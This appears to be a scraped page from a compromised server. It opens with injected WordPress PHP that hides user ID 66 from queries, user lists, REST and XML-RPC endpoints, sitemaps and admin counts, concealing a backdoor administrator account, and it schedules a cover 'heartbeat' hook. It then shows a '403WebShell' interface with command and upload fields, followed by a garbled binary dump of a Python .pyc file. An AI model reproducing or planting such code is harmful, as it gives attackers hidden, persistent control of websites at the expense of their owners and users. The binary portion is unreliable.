add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /snap/core22/current/usr/lib/python3.10/email/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core22/current/usr/lib/python3.10/email/__pycache__/_parseaddr.cpython-310.pyc
o

`�wi�E�@s�dZgd�ZddlZddlZdZdZdZgd�Zgd�Zddddd	d
dd	ddd
ddd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZGdd�d�ZGdd�de�ZdS)zcEmail address parsing code.

Lifted directly from rfc822.py.  This should eventually be rewritten.
)�	mktime_tz�	parsedate�parsedate_tz�quote�N� �z, )�jan�feb�mar�apr�may�jun�jul�aug�sep�oct�nov�dec�january�february�march�aprilr�june�july�august�	september�october�november�december)�mon�tue�wed�thu�fri�sat�sunip���i���i���i����iD���i��)�UT�UTC�GMT�Z�AST�ADT�EST�EDT�CST�CDT�MST�MDT�PST�PDTcCs,t|�}|sdS|ddurd|d<t|�S)zQConvert a date string to a time tuple.

    Accounts for military timezones.
    N�	r)�
_parsedate_tz�tuple)�data�res�r9�'/usr/lib/python3.10/email/_parseaddr.pyr-src
Cs�|sdS|��}|sdS|d�d�s|d��tvr|d=n|d�d�}|dkr6|d|dd�|d<t|�dkrQ|d�d�}t|�dkrQ||dd�}t|�dkr�|d}|�d�}|d	kri|�d�}|dkr~|d|�||d�g|dd�<n|�d
�t|�dkr�dS|dd�}|\}}}}}|r�|r�|s�dS|��}|tvr�||��}}|tvr�dSt�	|�d}|dkr�|d8}|d	dkr�|dd	�}|�d
�}|dkr�||}}|d	dkr�|dd	�}|s�dS|d�
�s�||}}|d	dk�r|dd	�}|�d
�}t|�dk�r|\}	}
d}nAt|�dk�r&|\}	}
}n4t|�dk�rXd|dv�rX|d�d�}t|�dk�rI|\}	}
d}nt|�dk�rV|\}	}
}ndSdSzt|�}t|�}t|	�}	t|
�}
t|�}Wnt�y{YdSw|dk�r�|dk�r�|d7}n|d7}d}|�
�}|tv�r�t|}nzt|�}Wn
t�y�Ynw|dk�r�|�d��r�d}|�r�|dk�r�d	}
|}nd}
|
|dd|dd}||||	|
|ddd	|g
S)a�Convert date to extended time tuple.

    The last (additional) element is the time zone offset in seconds, except if
    the timezone was specified as -0000.  In that case the last element is
    None.  This indicates a UTC timestamp that explicitly declaims knowledge of
    the source timezone, as opposed to a +0000 timestamp that indicates the
    source timezone really was UTC.

    Nr�,���-��+���r���:��0�.�d�Dili�i�<)�split�endswith�lower�	_daynames�rfind�len�find�append�_monthnames�index�isdigit�int�
ValueError�upper�
_timezones�
startswith)r7�i�stuff�s�dd�mm�yy�tm�tz�thh�tmm�tss�tzoffset�tzsignr9r9r:r59s�


"




�




�
r5cCs"t|�}t|t�r|dd�S|S)z&Convert a time string to a time tuple.Nr4)r�
isinstancer6�r7�tr9r9r:r�s
rcCs8|ddurt�|dd�d�St�|�}||dS)zETurn a 10-tuple as returned by parsedate_tz() into a POSIX timestamp.r4N�)rA)�time�mktime�calendar�timegmrir9r9r:r�s
rcCs|�dd��dd�S)z�Prepare string to be used in a quoted string.

    Turns backslash and double quote characters into quoted pairs.  These
    are the only characters that need to be quoted inside a quoted string.
    Does not add the surrounding double quotes.
    �\z\\�"z\")�replace)�strr9r9r:r�src@s|eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
ddd�Zdd�Zdd�Z
dd�Zddd�Zdd�ZdS) �
AddrlistClassaAddress parser class by Ben Escoto.

    To understand what this class does, it helps to have a copy of RFC 2822 in
    front of you.

    Note: this class interface is deprecated and may be removed in the future.
    Use email.utils.AddressList instead.
    cCsZd|_d|_d|_d|_|j|j|_|j|j|j|_|j�dd�|_||_g|_	dS)z�Initialize a new instance.

        `field' is an unparsed address header field, containing
        one or more addresses.
        z()<>@,:;."[]rz 	z
rGrN)
�specials�pos�LWS�CR�FWS�atomendsrr�
phraseends�field�commentlist��selfr|r9r9r:�__init__�s
zAddrlistClass.__init__cCs�g}|jt|j�krH|j|j|jdvr.|j|jdvr&|�|j|j�|jd7_n|j|jdkr?|j�|���nn|jt|j�ks
t�|�S)z&Skip white space and extract comments.z

r<�()	rvrPr|rwrRr}�
getcomment�EMPTYSTRING�join)r�wslistr9r9r:�gotonext�s�
	zAddrlistClass.gotonextcCsHg}|jt|j�kr"|��}|r||7}n|�d�|jt|j�ks
|S)zVParse all addresses.

        Returns a list containing all of the addresses.
        )rr)rvrPr|�
getaddressrR)r�result�adr9r9r:�getaddrlist�s

�zAddrlistClass.getaddrlistcCs�g|_|��|j}|j}|��}|��g}|jt|j�kr-|r,t�|j�|dfg}n�|j|jdvrI||_||_|��}t�|j�|fg}n�|j|jdkr�g}t|j�}|jd7_|jt|j�kr�|��|j|kr�|j|jdkr�|jd7_n||�	�}|jt|j�ksgnI|j|jdkr�|�
�}|jr�t�|�dd�|j�d	|fg}n't�|�|fg}n|r�t�|j�|dfg}n|j|j|jvr�|jd7_|��|jt|j�kr�|j|jd
kr�|jd7_|S)zParse the next address.rz.@rDr<�;�<z (r�)r;)r}r�rv�
getphraselistrPr|�SPACEr��getaddrspecr��getrouteaddrru)r�oldpos�oldcl�plist�
returnlist�addrspec�fieldlen�	routeaddrr9r9r:r�s^�
��
��� zAddrlistClass.getaddresscCs�|j|jdkr
dSd}|jd7_|��d}|jt|j�krx|r*|��d}nB|j|jdkr<|jd7_	|S|j|jdkrN|jd7_d}n|j|jd	kr^|jd7_n|��}|jd7_	|S|��|jt|j�ks!|S)
z�Parse a route address (Return-path value).

        This method just skips all the route stuff and returns the addrspec.
        r�NFr<r�>�@TrD)r|rvr�rP�	getdomainr�)r�expectroute�adlistr9r9r:r�Gs4���zAddrlistClass.getrouteaddrcCsZg}|��|jt|j�kryd}|j|jdkr3|r$|d��s$|��|�d�|jd7_d}n1|j|jdkrG|�dt|����n|j|j|j	vr]|r\|d��s\|��n|�|�
��|��}|rq|rq|�|�|jt|j�ks|jt|j�ks�|j|jdkr�t�|�S|�d�|jd7_|��|�
�}|s�tSt�|�|S)	zParse an RFC 2822 addr-spec.TrGrAr<Frqz"%s"r�)r�rvrPr|�strip�poprRr�getquoterz�getatomr�r�r�)r�aslist�preserve_ws�ws�domainr9r9r:r�gs<

� 

zAddrlistClass.getaddrspeccCs�g}|jt|j�krt|j|j|jvr|jd7_nQ|j|jdkr,|j�|���n@|j|jdkr<|�|���n0|j|jdkrQ|jd7_|�d�n|j|jdkr[tS|j|j|j	vren|�|�
��|jt|j�ks
t�|�S)z-Get the complete domain name from an address.r<r��[rGr�)rvrPr|rwr}rRr��getdomainliteralr�rzr�r�)r�sdlistr9r9r:r��s$�
zAddrlistClass.getdomainTcCs�|j|j|kr
dSdg}d}|jd7_|jt|j�krq|r,|�|j|j�d}n6|j|j|vr<|jd7_n5|rN|j|jdkrN|�|���q|j|jdkrYd}n	|�|j|j�|jd7_|jt|j�kst�|�S)a�Parse a header fragment delimited by special characters.

        `beginchar' is the start character for the fragment.
        If self is not looking at an instance of `beginchar' then
        getdelimited returns the empty string.

        `endchars' is a sequence of allowable end-delimiting characters.
        Parsing stops when one of these is encountered.

        If `allowcomments' is non-zero, embedded RFC 2822 comments are allowed
        within the parsed fragment.
        rFr<r�rpT)r|rvrPrRr�r�r�)r�	beginchar�endchars�
allowcomments�slistrr9r9r:�getdelimited�s*
�
zAddrlistClass.getdelimitedcC�|�ddd�S)z1Get a quote-delimited fragment from self's field.rqz"
F�r��rr9r9r:r���zAddrlistClass.getquotecCr�)z7Get a parenthesis-delimited fragment from self's field.r�z)
Tr�r�r9r9r:r��r�zAddrlistClass.getcommentcCsd|�ddd�S)z!Parse an RFC 2822 domain-literal.z[%s]r�z]
Fr�r�r9r9r:r��szAddrlistClass.getdomainliteralNcCspdg}|dur
|j}|jt|j�kr3|j|j|vrn|�|j|j�|jd7_|jt|j�kst�|�S)aParse an RFC 2822 atom.

        Optional atomends specifies a different set of end token delimiters
        (the default is to use self.atomends).  This is used e.g. in
        getphraselist() since phrase endings must not include the `.' (which
        is legal in phrases).rNr<)rzrvrPr|rRr�r�)rrz�atomlistr9r9r:r��s�
zAddrlistClass.getatomcCs�g}|jt|j�krY|j|j|jvr|jd7_n6|j|jdkr+|�|���n&|j|jdkr<|j�|���n|j|j|jvrH	|S|�|�	|j��|jt|j�ks
|S)z�Parse a sequence of RFC 2822 phrases.

        A phrase is a sequence of words, which are in turn either RFC 2822
        atoms or quoted-strings.  Phrases are canonicalized by squeezing all
        runs of continuous whitespace into one space.
        r<rqr�)
rvrPr|ryrRr�r}r�r{r�)rr�r9r9r:r��s��zAddrlistClass.getphraselist)T�N)�__name__�
__module__�__qualname__�__doc__r�r�r�r�r�r�r�r�r�r�r�r�r�r9r9r9r:rt�s	; &
%
rtc@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�AddressListz@An AddressList encapsulates a list of parsed RFC 2822 addresses.cCs(t�||�|r|��|_dSg|_dSr�)rtr�r��addresslistr~r9r9r:r�s
zAddressList.__init__cCs
t|j�Sr�)rPr�r�r9r9r:�__len__	s
zAddressList.__len__cCs>td�}|jdd�|_|jD]
}||jvr|j�|�q|Sr��r�r�rR�r�other�newaddr�xr9r9r:�__add__s

�zAddressList.__add__cCs&|jD]
}||jvr|j�|�q|Sr�)r�rR�rr�r�r9r9r:�__iadd__�


�zAddressList.__iadd__cCs.td�}|jD]
}||jvr|j�|�q|Sr�r�r�r9r9r:�__sub__s

�zAddressList.__sub__cCs&|jD]
}||jvr|j�|�q|Sr�)r��remover�r9r9r:�__isub__$r�zAddressList.__isub__cCs
|j|Sr�)r�)rrTr9r9r:�__getitem__+s
zAddressList.__getitem__N)r�r�r�r�r�r�r�r�r�r�r�r9r9r9r:r�s	r�)r��__all__rlrnr�r��
COMMASPACErSrNrYrr5rrrrtr�r9r9r9r:�<module>s0�	}	

/

Youez - 2016 - github.com/yon3zu
LinuXploit